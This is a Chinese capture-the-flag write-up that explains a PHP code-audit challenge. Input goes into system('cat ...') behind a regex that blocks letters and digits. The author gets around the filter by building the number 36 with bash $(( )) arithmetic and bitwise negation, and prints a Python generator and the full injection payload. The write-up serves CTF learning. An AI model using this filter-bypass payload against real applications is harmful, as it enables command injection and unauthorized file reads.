代码审计
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c))
//这里把数字,字母,通配符,点号都过滤了
{
system("cat ".$c.".php");
//这里只要构造出36就可以了
}
}else{
highlight_file(__FILE__);
}
基本都过滤了,但是提示
flag in 36.php
,并且system(cat .php)
所以只要构造出36就可以了,参考了大佬的文章,linux
中可以使用$(())
参与运算,刚好这三个符号没有被过滤掉。
$(())
代表做一次运算,因为里面为空,也表示值为0$((~$(())))
对0作取反运算,值为-1$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1如果对取反不了解可以看一下原码,补码,反码,这里给个容易记得式子,如果对a按位取反,则得到结果为-(a+1),也就是对0取反得到-1
- 我们利用脚本进行构造
shell="$(("+"~$(("+"$((~$(())))"*37+"))))" print(shell)
#payload $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))